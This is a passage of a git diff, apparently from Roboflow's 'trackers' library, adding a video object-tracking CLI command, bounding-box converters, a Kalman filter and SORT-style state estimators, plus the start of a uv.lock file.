"--detections", + type=Path, + metavar="PATH", + help="Load pre-computed detections from MOT format file.", + ) + + # Model options + model_group = parser.add_argument_group("model options") + model_group.add_argument( + "--model.confidence", + type=float, + default=DEFAULT_CONFIDENCE, + dest="model_confidence", + metavar="FLOAT", + help=f"Detection confidence threshold. Default: {DEFAULT_CONFIDENCE}", + ) + model_group.add_argument( + "--model.device", + type=str, + default=DEFAULT_DEVICE, + dest="model_device", + metavar="DEVICE", + help=f"Device: auto, cpu, cuda, cuda:0, mps. Default: {DEFAULT_DEVICE}", + ) + model_group.add_argument( + "--model.api_key", + type=str, + default=None, + dest="model_api_key", + metavar="KEY", + help="Roboflow API key for custom models.", + ) + + # Filtering options + filter_group = parser.add_argument_group("filtering") + filter_group.add_argument( + "--classes", + type=str, + default=None, + metavar="NAMES_OR_IDS", + help="Filter by class names or IDs (comma-separated, e.g., person,car).", + ) + filter_group.add_argument( + "--track_ids", + type=str, + default=None, + metavar="IDS", + help="Filter output by track IDs (comma-separated, e.g., 1,3,5)", + ) + + # Tracker options + tracker_group = parser.add_argument_group("tracker options") + available_trackers = BaseTracker._registered_trackers() + tracker_group.add_argument( + "--tracker", + type=str, + default=DEFAULT_TRACKER, + choices=available_trackers if available_trackers else [DEFAULT_TRACKER, "sort"], + metavar="ID", + help=f"Tracking algorithm. Default: {DEFAULT_TRACKER}", + ) + + # Add dynamic tracker parameters + _add_tracker_params(tracker_group) + + # Output options + output_group = parser.add_argument_group("output") + output_group.add_argument( + "-o", + "--output", + type=Path, + default=None, + metavar="PATH", + help="Output video file path.", + ) + output_group.add_argument( + "--mot-output", + type=Path, + default=None, + dest="mot_output", + metavar="PATH", + help="Output MOT format file path.", + ) + output_group.add_argument( + "--overwrite", + action="store_true", + help="Overwrite existing output files.", + ) + + # Visualization options + vis_group = parser.add_argument_group("visualization") + vis_group.add_argument( + "--display", + action="store_true", + help="Show preview window.", + ) + vis_group.add_argument( + "--show-boxes", + action="store_true", + default=True, + dest="show_boxes", + help="Draw bounding boxes. Default: True", + ) + vis_group.add_argument( + "--no-boxes", + action="store_false", + dest="show_boxes", + help="Disable bounding boxes.", + ) + vis_group.add_argument( + "--show-masks", + action="store_true", + dest="show_masks", + help="Draw segmentation masks (seg models only).", + ) + vis_group.add_argument( + "--show-labels", + action="store_true", + dest="show_labels", + help="Show class labels.", + ) + vis_group.add_argument( + "--show-ids", + action="store_true", + default=True, + dest="show_ids", + help="Show track IDs. Default: True", + ) + vis_group.add_argument( + "--no-ids", + action="store_false", + dest="show_ids", + help="Disable track IDs.", + ) + vis_group.add_argument( + "--show-confidence", + action="store_true", + dest="show_confidence", + help="Show confidence scores.", + ) + vis_group.add_argument( + "--show-trajectories", + action="store_true", + dest="show_trajectories", + help="Draw track trajectories.", + ) + + parser.set_defaults(func=run_track) + + +def _add_tracker_params(group: argparse._ArgumentGroup) -> None: + """Add tracker-specific parameters from registry to argument group.""" + for tracker_id in BaseTracker._registered_trackers(): + info = BaseTracker._lookup_tracker(tracker_id) + if info is None: + continue + + for param_name, param_info in info.parameters.items(): + arg_name = f"--tracker.{param_name}" + dest_name = f"tracker_{param_name}" + + kwargs: dict = { + "dest": dest_name, + "default": param_info.default_value, + "help": f"{param_info.description} Default: {param_info.default_value}", + } + + if param_info.param_type is bool: + kwargs["action"] = ( + "store_false" if param_info.default_value else "store_true" + ) + else: + kwargs["type"] = param_info.param_type + kwargs["metavar"] = param_info.param_type.__name__.upper() + + try: + group.add_argument(arg_name, **kwargs) + except argparse.ArgumentError: + # Parameter already added by another tracker + pass + + +def run_track(args: argparse.Namespace) -> int: + """Execute the track command.""" + # Validate output paths + if args.output: + _validate_output_path( + _resolve_video_output_path(args.output), overwrite=args.overwrite + ) + if args.mot_output: + _validate_output_path(args.mot_output, overwrite=args.overwrite) + + # Create detection source + if args.detections: + model = None + detections_data = _load_mot_file(args.detections) + class_names: list[str] = [] + else: + model = _init_model( + args.model, + device=args.model_device, + api_key=args.model_api_key, + ) + detections_data = None + class_names = getattr(model, "class_names", []) + + # Resolve class filter (names and/or integer IDs) + class_filter = _resolve_class_filter(args.classes, class_names) + + track_id_filter = _resolve_track_id_filter(args.track_ids) + + # Create tracker + tracker_params = _extract_tracker_params(args.tracker, args) + tracker = _init_tracker(args.tracker, **tracker_params) + + # Create frame generator + frame_gen = frames_from_source(args.source) + + source_info = _classify_source(args.source) + + # Setup annotators + annotators, label_annotator = _init_annotators( + show_boxes=args.show_boxes, + show_masks=args.show_masks, + show_labels=args.show_labels, + show_ids=args.show_ids, + show_confidence=args.show_confidence, + ) + trace_annotator = None + if args.show_trajectories: + trace_annotator = sv.TraceAnnotator( + color=COLOR_PALETTE, + color_lookup=sv.ColorLookup.TRACK, + ) + + display_ctx = _DisplayWindow() if args.display else nullcontext() + + try: + with ( + _VideoOutput( + args.output, + fps=source_info.fps or _DEFAULT_OUTPUT_FPS, + ) as video, + _MOTOutput(args.mot_output) as mot, + display_ctx as display, + _TrackingProgress(source_info) as progress, + ): + interrupted = False + for frame_idx, frame in frame_gen: + # Get detections + if model is not None: + detections = _run_model(model, frame, args.model_confidence) + elif detections_data is not None and frame_idx in detections_data: + detections = _mot_frame_to_detections(detections_data[frame_idx]) + else: + detections = sv.Detections.empty() + + # Filter by class + if class_filter is not None and len(detections) > 0: + mask = np.isin(detections.class_id, class_filter) + detections = detections[mask] # type: ignore[assignment] + + # Run tracker + tracked = tracker.update(detections) + + # Filter by track ID + if track_id_filter is not None and len(tracked) > 0: + if tracked.tracker_id is not None: + mask = np.isin(tracked.tracker_id.astype(int), track_id_filter) + tracked = tracked[mask] + + # Write MOT output + mot.write(frame_idx, tracked) + + progress.update() + + # Annotate and display/save frame + if args.display or args.output: + annotated = frame.copy() + if trace_annotator is not None: + annotated = trace_annotator.annotate(annotated, tracked) + for annotator in annotators: + annotated = annotator.annotate(annotated, tracked) + if label_annotator is not None: + labeled = tracked[tracked.tracker_id != -1] + labels = _format_labels( + labeled, + class_names, + show_ids=args.show_ids, + show_labels=args.show_labels, + show_confidence=args.show_confidence, + ) + annotated = label_annotator.annotate(annotated, labeled, labels) + + video.write(annotated) + + if display is not None: + display.show(annotated) + if display.quit_requested: + interrupted = True + break + + progress.complete(interrupted=interrupted) + + except KeyboardInterrupt: + pass # progress.__exit__ already printed the final line + + return 0 + + +def _resolve_track_id_filter(track_ids_arg: str | None) -> list[int] | None: + """Resolve a comma-separated `--track-ids` value to a list of integer IDs. + + Args: + track_ids_arg: Raw `--track-ids` string (e.g. `"1,3,5"`). `None` + means no filter. + + Returns: + List of integer track IDs, or `None` when no valid filter remains. + """ + if not track_ids_arg: + return None + + track_ids: list[int] = [] + for token in track_ids_arg.split(","): + token = token.strip() + try: + track_ids.append(int(token)) + except ValueError: + print( + f"Warning: '{token}' is not a valid track ID, skipping.", + file=sys.stderr, + ) + return track_ids if track_ids else None + + +def _resolve_class_filter( + classes_arg: str | None, + class_names: list[str], +) -> list[int] | None: + """Resolve a comma-separated `--classes` value to a list of integer IDs. + + Each token is checked independently: if it parses as an `int` it is used + directly as a class ID; otherwise it is looked up by name in *class_names*. + Unknown names are printed as warnings and skipped. + + Args: + classes_arg: Raw `--classes` string (e.g. `"person,car"` or + `"0,2"` or `"person,2"`). `None` means no filter. + class_names: Ordered list of class names where the index equals the + class ID (as provided by the model). + + Returns: + List of integer class IDs, or `None` when no valid filter remains. + """ + if not classes_arg: + return None + + requested = [token.strip() for token in classes_arg.split(",")] + name_to_id = {name: i for i, name in enumerate(class_names)} + class_filter: list[int] = [] + for token in requested: + try: + class_filter.append(int(token)) + except ValueError: + if token in name_to_id: + class_filter.append(name_to_id[token]) + else: + print( + f"Warning: class '{token}' not found in model class " + "list, skipping.", + file=sys.stderr, + ) + return class_filter if class_filter else None + + +def _init_model( + model_id: str, + *, + device: str = DEFAULT_DEVICE, + api_key: str | None = None, +): + """Load detection model via inference-models. + + Args: + model_id: Model identifier (e.g., 'rfdetr-nano' or 'workspace/project/version'). + device: Device to load model on ('auto', 'cpu', 'cuda', 'mps'). + api_key: Roboflow API key for custom models. + + Returns: + Loaded model instance. + """ + try: + from inference_models import AutoModel + except ImportError as e: + print( + "Error: inference-models is required for model-based detection.\n" + "Install with: pip install 'trackers[detection]'", + file=sys.stderr, + ) + raise SystemExit(1) from e + + resolved_device = _best_device() if device == DEFAULT_DEVICE else device + + return AutoModel.from_pretrained( + model_id, + api_key=api_key, + device=resolved_device, + ) + + +def _run_model(model, frame: np.ndarray, confidence: float) -> sv.Detections: + """Run model inference and return sv.Detections.""" + predictions = model(frame) + if not predictions: + return sv.Detections.empty() + + detections = predictions[0].to_supervision() + + # Filter by confidence + if len(detections) > 0 and detections.confidence is not None: + mask = detections.confidence >= confidence + detections = detections[mask] + + return detections + + +def _extract_tracker_params( + tracker_id: str, args: argparse.Namespace +) -> dict[str, object]: + """Extract tracker parameters from CLI args. + + Args: + tracker_id: Registered tracker name. + args: Parsed CLI arguments. + + Returns: + Dictionary of tracker parameters with non-None values. + """ + info = BaseTracker._lookup_tracker(tracker_id) + if info is None: + return {} + + params = {} + for param_name in info.parameters: + dest_name = f"tracker_{param_name}" + if hasattr(args, dest_name): + value = getattr(args, dest_name) + if value is not None: + params[param_name] = value + return params + + +def _init_tracker(tracker_id: str, **kwargs) -> BaseTracker: + """Create tracker instance from registry. + + Args: + tracker_id: Registered tracker name (e.g., 'bytetrack', 'sort'). + **kwargs: Tracker-specific parameters. + + Returns: + Initialized tracker instance. + + Raises: + ValueError: If tracker_id is not registered. + """ + info = BaseTracker._lookup_tracker(tracker_id) + if info is None: + available = ", ".join(BaseTracker._registered_trackers()) + raise ValueError(f"Unknown tracker: '{tracker_id}'. Available: {available}") + + return info.tracker_class(**kwargs) + + +def _init_annotators( + show_boxes: bool = False, + show_masks: bool = False, + show_labels: bool = False, + show_ids: bool = False, + show_confidence: bool = False, +) -> tuple[list, sv.LabelAnnotator | None]: + """Initialize supervision annotators based on display options. + + Args: + show_boxes: Create BoxAnnotator. + show_masks: Create MaskAnnotator. + show_labels: Include class labels (triggers LabelAnnotator). + show_ids: Include track IDs (triggers LabelAnnotator). + show_confidence: Include confidence scores (triggers LabelAnnotator). + + Returns: + Tuple of (annotators list, label_annotator or None). + Label annotator is separate because it needs custom labels per frame. + """ + annotators: list = [] + label_annotator: sv.LabelAnnotator | None = None + + if show_boxes: + annotators.append( + sv.BoxAnnotator( + color=COLOR_PALETTE, + color_lookup=sv.ColorLookup.TRACK, + ) + ) + + if show_masks: + annotators.append( + sv.MaskAnnotator( + color=COLOR_PALETTE, + color_lookup=sv.ColorLookup.TRACK, + ) + ) + + if show_labels or show_ids or show_confidence: + label_annotator = sv.LabelAnnotator( + color=COLOR_PALETTE, + text_color=sv.Color.BLACK, + text_position=sv.Position.TOP_LEFT, + color_lookup=sv.ColorLookup.TRACK, + ) + + return annotators, label_annotator + + +def _format_labels( + detections: sv.Detections, + class_names: list[str], + *, + show_ids: bool = False, + show_labels: bool = False, + show_confidence: bool = False, +) -> list[str]: + """Generate label strings for each detection. + + Args: + detections: Detections to generate labels for. + class_names: List of class names for lookup. + show_ids: Include tracker IDs in labels. + show_labels: Include class names in labels. + show_confidence: Include confidence scores in labels. + + Returns: + List of label strings, one per detection. + """ + labels = [] + + for i in range(len(detections)): + parts = [] + + if show_ids and detections.tracker_id is not None: + parts.append(f"#{int(detections.tracker_id[i])}") + + if show_labels and detections.class_id is not None: + class_id = int(detections.class_id[i]) + if class_names and 0 <= class_id < len(class_names): + parts.append(class_names[class_id]) + else: + parts.append(str(class_id)) + + if show_confidence and detections.confidence is not None: + parts.append(f"{detections.confidence[i]:.2f}") + + labels.append(" ".join(parts)) + + return labels diff --git a/trackers/utils/__init__.py b/trackers/utils/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/utils/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/utils/converters.py b/trackers/utils/converters.py new file mode 100644 index 0000000..0cee5e7 --- /dev/null +++ b/trackers/utils/converters.py @@ -0,0 +1,107 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +import numpy as np + + +def xyxy_to_xcycsr(xyxy: np.ndarray) -> np.ndarray: + """Convert bounding boxes from corner to center-scale-ratio format. + + Args: + xyxy: Bounding boxes `[x_min, y_min, x_max, y_max]` with shape `(4,)` + for a single box or `(N, 4)` for multiple boxes. + + Returns: + Bounding boxes `[x_center, y_center, scale, aspect_ratio]` with same + shape as input, where `scale` is area (`width * height`) and + `aspect_ratio` is `width / height`. + + Examples: + >>> import numpy as np + >>> from trackers import xyxy_to_xcycsr + >>> + >>> boxes = np.array([ + ... [0, 0, 10, 10], + ... [0, 0, 20, 10], + ... [0, 0, 10, 20], + ... ]) + >>> + >>> xyxy_to_xcycsr(boxes) + array([[ 5. , 5. , 100. , 0.9999999 ], + [ 10. , 5. , 200. , 1.9999998 ], + [ 5. , 10. , 200. , 0.49999998]]) + """ + if xyxy.ndim == 1: + w = xyxy[2] - xyxy[0] + h = xyxy[3] - xyxy[1] + return np.array( + [ + xyxy[0] + w * 0.5, + xyxy[1] + h * 0.5, + w * h, + w / (h + 1e-6), + ] + ) + + # Batch path — pre-allocated array avoids np.stack overhead + w = xyxy[:, 2] - xyxy[:, 0] + h = xyxy[:, 3] - xyxy[:, 1] + result = np.empty((xyxy.shape[0], 4), dtype=np.float64) + result[:, 0] = xyxy[:, 0] + w * 0.5 + result[:, 1] = xyxy[:, 1] + h * 0.5 + result[:, 2] = w * h + result[:, 3] = w / (h + 1e-6) + return result + + +def xcycsr_to_xyxy(xcycsr: np.ndarray) -> np.ndarray: + """Convert bounding boxes from center-scale-ratio to corner format. + + Args: + xcycsr: Bounding boxes `[x_center, y_center, scale, aspect_ratio]` with + shape `(4,)` for a single box or `(N, 4)` for multiple boxes, + where `scale` is area and `aspect_ratio` is `width / height`. + + Returns: + Bounding boxes `[x_min, y_min, x_max, y_max]` with same shape as input. + + Examples: + >>> import numpy as np + >>> from trackers import xcycsr_to_xyxy + >>> + >>> boxes = np.array([ + ... [ 5., 5., 100., 1.], + ... [ 10., 5., 200., 2.], + ... [ 5., 10., 200., 0.5], + ... ]) + >>> + >>> xcycsr_to_xyxy(boxes) + array([[ 0., 0., 10., 10.], + [ 0., 0., 20., 10.], + [ 0., 0., 10., 20.]]) + """ + if xcycsr.ndim == 1: + w = np.sqrt(xcycsr[2] * xcycsr[3]) + h = xcycsr[2] / w + hw, hh = w * 0.5, h * 0.5 + return np.array( + [ + xcycsr[0] - hw, + xcycsr[1] - hh, + xcycsr[0] + hw, + xcycsr[1] + hh, + ] + ) + + # Batch path — pre-allocated array avoids np.stack overhead + w = np.sqrt(xcycsr[:, 2] * xcycsr[:, 3]) + h = xcycsr[:, 2] / w + result = np.empty((xcycsr.shape[0], 4), dtype=xcycsr.dtype) + result[:, 0] = xcycsr[:, 0] - w * 0.5 + result[:, 1] = xcycsr[:, 1] - h * 0.5 + result[:, 2] = xcycsr[:, 0] + w * 0.5 + result[:, 3] = xcycsr[:, 1] + h * 0.5 + return result diff --git a/trackers/utils/device.py b/trackers/utils/device.py new file mode 100644 index 0000000..4282964 --- /dev/null +++ b/trackers/utils/device.py @@ -0,0 +1,30 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import TYPE_CHECKING + +if TYPE_CHECKING: + import torch + + +def _best_device() -> torch.device: + """Return the best available PyTorch compute device, preferring acceleration. + + Returns: + The selected device (``cuda``, ``mps``, or ``cpu``). + + Raises: + ImportError: If PyTorch is not installed. + """ + import torch + + if torch.cuda.is_available(): + return torch.device("cuda") + if torch.backends.mps.is_built() and torch.backends.mps.is_available(): + return torch.device("mps") + return torch.device("cpu") diff --git a/trackers/utils/kalman_filter.py b/trackers/utils/kalman_filter.py new file mode 100644 index 0000000..a12233f --- /dev/null +++ b/trackers/utils/kalman_filter.py @@ -0,0 +1,154 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import numpy as np +from numpy.typing import NDArray + + +class KalmanFilter: + """Generic Kalman filter implementation. + + A standard linear Kalman filter for state estimation. This is a clean, + general-purpose implementation that can be used by any tracker. + + Attributes: + dim_x: Dimension of state vector. + dim_z: Dimension of measurement vector. + x: State vector (dim_x, 1). + P: State covariance matrix (dim_x, dim_x). + F: State transition matrix (dim_x, dim_x). + H: Measurement function matrix (dim_z, dim_x). + Q: Process noise covariance (dim_x, dim_x). + R: Measurement noise covariance (dim_z, dim_z). + x_prior: Prior state estimate (after predict, before update). + P_prior: Prior covariance (after predict, before update). + x_post: Posterior state estimate (after update). + P_post: Posterior covariance (after update). + """ + + def __init__(self, dim_x: int, dim_z: int) -> None: + """Initialize Kalman filter. + + Args: + dim_x: Dimension of state vector. + dim_z: Dimension of measurement vector. + """ + if dim_x < 1: + raise ValueError("dim_x must be 1 or greater") + if dim_z < 1: + raise ValueError("dim_z must be 1 or greater") + + self.dim_x = dim_x + self.dim_z = dim_z + + # State and covariance + self.x: NDArray[np.float64] = np.zeros((dim_x, 1), dtype=np.float64) + self.P: NDArray[np.float64] = np.eye(dim_x, dtype=np.float64) + + # Process model + self.F: NDArray[np.float64] = np.eye(dim_x, dtype=np.float64) + self.Q: NDArray[np.float64] = np.eye(dim_x, dtype=np.float64) + + # Measurement model + self.H: NDArray[np.float64] = np.zeros((dim_z, dim_x), dtype=np.float64) + self.R: NDArray[np.float64] = np.eye(dim_z, dtype=np.float64) + + # Prior and posterior (for inspection/debugging) + self.x_prior: NDArray[np.float64] = self.x.copy() + self.P_prior: NDArray[np.float64] = self.P.copy() + self.x_post: NDArray[np.float64] = self.x.copy() + self.P_post: NDArray[np.float64] = self.P.copy() + + # Kalman gain, residual, system uncertainty (computed during update) + self.K: NDArray[np.float64] = np.zeros((dim_x, dim_z), dtype=np.float64) + self.y: NDArray[np.float64] = np.zeros((dim_z, 1), dtype=np.float64) + self.S: NDArray[np.float64] = np.zeros((dim_z, dim_z), dtype=np.float64) + + self._I: NDArray[np.float64] = np.eye(dim_x, dtype=np.float64) + + def predict(self) -> None: + """Predict next state (prior) using state transition model. + + Computes: + x = F @ x + P = F @ P @ F.T + Q + """ + self.x = self.F @ self.x + self.P = self.F @ self.P @ self.F.T + self.Q + + # Save prior + self.x_prior = self.x.copy() + self.P_prior = self.P.copy() + + def update(self, z: NDArray[np.float64] | None) -> None: + """Update state estimate with measurement. + + If z is None, the state is not updated (prediction only). + + Args: + z: Measurement vector (dim_z, 1) or None for no observation. + """ + if z is None: + # No observation - posterior equals prior + self.x_post = self.x.copy() + self.P_post = self.P.copy() + self.y = np.zeros((self.dim_z, 1), dtype=np.float64) + return + + # Ensure z is column vector + z = np.asarray(z, dtype=np.float64).reshape((self.dim_z, 1)) + + # Residual: y = z - H @ x + self.y = z - self.H @ self.x + + # System uncertainty: S = H @ P @ H.T + R + PHT = self.P @ self.H.T + self.S = self.H @ PHT + self.R + + # Kalman gain: K = P @ H.T @ S^-1 + self.K = PHT @ np.linalg.inv(self.S) + + # State update: x = x + K @ y + self.x = self.x + self.K @ self.y + + # Covariance update (Joseph form for numerical stability): + # P = (I - K @ H) @ P @ (I - K @ H).T + K @ R @ K.T + I_KH = self._I - self.K @ self.H + self.P = I_KH @ self.P @ I_KH.T + self.K @ self.R @ self.K.T + + # Save posterior + self.x_post = self.x.copy() + self.P_post = self.P.copy() + + def get_state(self) -> dict: + """Get current filter state for saving. + + Returns: + Dictionary with x, P, and other matrices. + """ + return { + "x": self.x.copy(), + "P": self.P.copy(), + "F": self.F.copy(), + "H": self.H.copy(), + "Q": self.Q.copy(), + "R": self.R.copy(), + } + + def set_state(self, state: dict) -> None: + """Restore filter state from saved dictionary. + + Args: + state: Dictionary from get_state(). + """ + self.x = state["x"].copy() + self.P = state["P"].copy() + self.F = state["F"].copy() + self.H = state["H"].copy() + self.Q = state["Q"].copy() + self.R = state["R"].copy() diff --git a/trackers/utils/state_representations.py b/trackers/utils/state_representations.py new file mode 100644 index 0000000..f1e93a2 --- /dev/null +++ b/trackers/utils/state_representations.py @@ -0,0 +1,269 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from abc import ABC, abstractmethod +from enum import Enum + +import numpy as np + +from trackers.utils.converters import xcycsr_to_xyxy, xyxy_to_xcycsr +from trackers.utils.kalman_filter import KalmanFilter + + +class StateRepresentation(Enum): + """Kalman filter state representation for bounding boxes. + + Attributes: + XCYCSR: Center-based representation with 7 state variables: + `x_center`, `y_center` (box center), `scale` (area), `aspect_ratio` + (width/height), and velocities `vx`, `vy`, `vs`. Aspect ratio is + treated as constant (no velocity term). Used in original SORT and + OC-SORT papers. + XYXY: Corner-based representation with 8 state variables: + `x1`, `y1` (top-left corner), `x2`, `y2` (bottom-right corner), + and velocities `vx1`, `vy1`, `vx2`, `vy2` for each coordinate. + More direct representation, potentially better for non-rigid objects. + """ + + XCYCSR = "xcycsr" + XYXY = "xyxy" + + +class BaseStateEstimator(ABC): + """Abstract Kalman filter with a specific bounding box state representation. + + Wraps a `KalmanFilter` and provides a unified interface for + bounding-box tracking regardless of the internal state encoding. + Subclasses configure the filter dimensions, matrices, noise, and + handle conversions between `[x1, y1, x2, y2]` bboxes and the + internal state/measurement vectors. + + Attributes: + kf: The underlying Kalman filter instance. + """ + + def __init__(self, bbox: np.ndarray) -> None: + """Initialise the filter with the first detection. + + Args: + bbox: First detection `[x1, y1, x2, y2]`. + """ + self.kf: KalmanFilter = self._create_filter(bbox) + + @abstractmethod + def _create_filter(self, bbox: np.ndarray) -> KalmanFilter: + """Create and configure a Kalman filter for *bbox*. + + Args: + bbox: First detection `[x1, y1, x2, y2]`. + + Returns: + A fully configured `KalmanFilter`. + """ + + @abstractmethod + def bbox_to_measurement(self, bbox: np.ndarray) -> np.ndarray: + """Convert an `[x1, y1, x2, y2]` bbox to a measurement vector. + + Args: + bbox: Bounding box `[x1, y1, x2, y2]`. + + Returns: + Measurement vector suitable for `KalmanFilter.update`. + """ + + @abstractmethod + def state_to_bbox(self) -> np.ndarray: + """Extract an `[x1, y1, x2, y2]` bbox from the current filter state. + + Returns: + Bounding box `[x1, y1, x2, y2]`. + """ + + @abstractmethod + def clamp_velocity(self) -> None: + """Clamp velocity components to prevent degenerate predictions. + + Called before `predict` to ensure physical plausibility + (e.g. non-negative scale). Modifies the filter state in-place. + """ + + def predict(self) -> None: + """Run the Kalman filter prediction step.""" + self.clamp_velocity() + self.kf.predict() + + def update(self, bbox: np.ndarray | None) -> None: + """Update the filter with a new observation. + + Args: + bbox: Bounding box `[x1, y1, x2, y2]` or `None` when no + observation is available. + """ + if bbox is not None: + self.kf.update(self.bbox_to_measurement(bbox)) + else: + self.kf.update(None) + + def get_state(self) -> dict: + """Snapshot the filter state for later restoration (e.g. ORU freeze). + + Returns: + Opaque state dictionary. + """ + return self.kf.get_state() + + def set_state(self, state: dict) -> None: + """Restore a previously saved filter state. + + Args: + state: Dictionary from `get_state`. + """ + self.kf.set_state(state) + + +class XCYCSRStateEstimator(BaseStateEstimator): + """Center-based Kalman filter with 7 state dimensions and 4 measurements. + + State vector contains `x_center`, `y_center` (box center), `scale` (area), + `aspect_ratio` (width/height), and velocities `vx`, `vy`, `vs`. Aspect ratio + is treated as constant (no velocity term), which works well for rigid objects + that maintain their shape. Matches the representation used in the original + SORT and OC-SORT papers. + """ + + def _create_filter(self, bbox: np.ndarray) -> KalmanFilter: + kf = KalmanFilter(dim_x=7, dim_z=4) + + # State transition: constant velocity model + kf.F = np.array( + [ + [1, 0, 0, 0, 1, 0, 0], + [0, 1, 0, 0, 0, 1, 0], + [0, 0, 1, 0, 0, 0, 1], + [0, 0, 0, 1, 0, 0, 0], # aspect ratio: no velocity + [0, 0, 0, 0, 1, 0, 0], + [0, 0, 0, 0, 0, 1, 0], + [0, 0, 0, 0, 0, 0, 1], + ], + dtype=np.float64, + ) + + # Measurement function: observe (x, y, s, r) from state + kf.H = np.eye(4, 7, dtype=np.float64) + + # Noise tuning (from OC-SORT paper) + kf.R[2:, 2:] *= 10.0 + kf.P[4:, 4:] *= 1000.0 # high uncertainty for velocities + kf.P *= 10.0 + kf.Q[-1, -1] *= 0.01 + kf.Q[4:, 4:] *= 0.01 + + # Initialise state with first observation + kf.x[:4] = xyxy_to_xcycsr(bbox).reshape((4, 1)) + + return kf + + def bbox_to_measurement(self, bbox: np.ndarray) -> np.ndarray: + return xyxy_to_xcycsr(bbox) + + def state_to_bbox(self) -> np.ndarray: + return xcycsr_to_xyxy(self.kf.x[:4].reshape((4,))) + + def clamp_velocity(self) -> None: + # If predicted scale would go negative, zero out scale velocity + if (self.kf.x[6] + self.kf.x[2]) <= 0: + self.kf.x[6] = 0.0 + + +class XYXYStateEstimator(BaseStateEstimator): + """Corner-based Kalman filter with 8 state dimensions and 4 measurements. + + State vector contains `x1`, `y1` (top-left corner), `x2`, `y2` (bottom-right + corner), and independent velocities `vx1`, `vy1`, `vx2`, `vy2` for each + coordinate. This allows the box shape to change over time, which may be + better suited for non-rigid or deformable objects. + """ + + def _create_filter(self, bbox: np.ndarray) -> KalmanFilter: + kf = KalmanFilter(dim_x=8, dim_z=4) + + # State transition: constant velocity for all coordinates + kf.F = np.array( + [ + [1, 0, 0, 0, 1, 0, 0, 0], # x1 += vx1 + [0, 1, 0, 0, 0, 1, 0, 0], # y1 += vy1 + [0, 0, 1, 0, 0, 0, 1, 0], # x2 += vx2 + [0, 0, 0, 1, 0, 0, 0, 1], # y2 += vy2 + [0, 0, 0, 0, 1, 0, 0, 0], # vx1 + [0, 0, 0, 0, 0, 1, 0, 0], # vy1 + [0, 0, 0, 0, 0, 0, 1, 0], # vx2 + [0, 0, 0, 0, 0, 0, 0, 1], # vy2 + ], + dtype=np.float64, + ) + + # Measurement function: observe (x1, y1, x2, y2) from state + kf.H = np.eye(4, 8, dtype=np.float64) + + # Noise tuning (similar scaling to XCYCSR version) + kf.R *= 1.0 # measurement noise + kf.P[4:, 4:] *= 1000.0 # high uncertainty for velocities + kf.P *= 10.0 + kf.Q[4:, 4:] *= 0.01 + + # Initialise state with first observation (direct XYXY) + kf.x[:4] = bbox.reshape((4, 1)) + + return kf + + def bbox_to_measurement(self, bbox: np.ndarray) -> np.ndarray: + return bbox + + def state_to_bbox(self) -> np.ndarray: + return self.kf.x[:4].reshape((4,)) + + def clamp_velocity(self) -> None: + # No clamping needed for XYXY representation + pass + + +# --------------------------------------------------------------------------- +# Factory helper +# --------------------------------------------------------------------------- + +_REPR_MAP: dict[StateRepresentation, type[BaseStateEstimator]] = { + StateRepresentation.XCYCSR: XCYCSRStateEstimator, + StateRepresentation.XYXY: XYXYStateEstimator, +} + + +def create_state_estimator( + state_repr: StateRepresentation, + bbox: np.ndarray, +) -> BaseStateEstimator: + """Create a state estimator for the given state representation. + + Args: + state_repr: The desired representation. Ex: StateRepresentation.XCYCSR + bbox: First detection `[x1, y1, x2, y2]`. + + Returns: + An initialised `BaseStateEstimator` wrapping a configured + estimator. + + Raises: + ValueError: If *state_repr* is not recognised. + """ + cls = _REPR_MAP.get(state_repr, None) + if cls is None: + raise ValueError( + f"Unknown state representation: {state_repr!r}. " + f"Available: {list(_REPR_MAP.keys())}" + ) + return cls(bbox) diff --git a/uv.lock b/uv.lock new file mode 100644 index 0000000..bce5772 --- /dev/null +++ b/uv.lock @@ -0,0 +1,4000 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" +resolution-markers = [ + "python_full_version >= '3.14' and sys_platform == 'darwin'", + "python_full_version == '3.13.*' and sys_platform == 'darwin'", + "python_full_version == '3.12.*' and sys_platform == 'darwin'", + "python_full_version >= '3.14' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "python_full_version == '3.13.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "python_full_version == '3.12.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version >= '3.14' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version >= '3.14' and sys_platform != 'darwin' and sys_platform != 'linux')", + "(python_full_version == '3.13.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.13.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "(python_full_version == '3.12.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.12.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "python_full_version == '3.11.*' and sys_platform == 'darwin'", + "python_full_version == '3.11.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version == '3.11.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.11.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "python_full_version < '3.11' and sys_platform == 'darwin'", + "python_full_version < '3.11' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version < '3.11' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version < '3.11' and sys_platform != 'darwin' and sys_platform != 'linux')", +] + 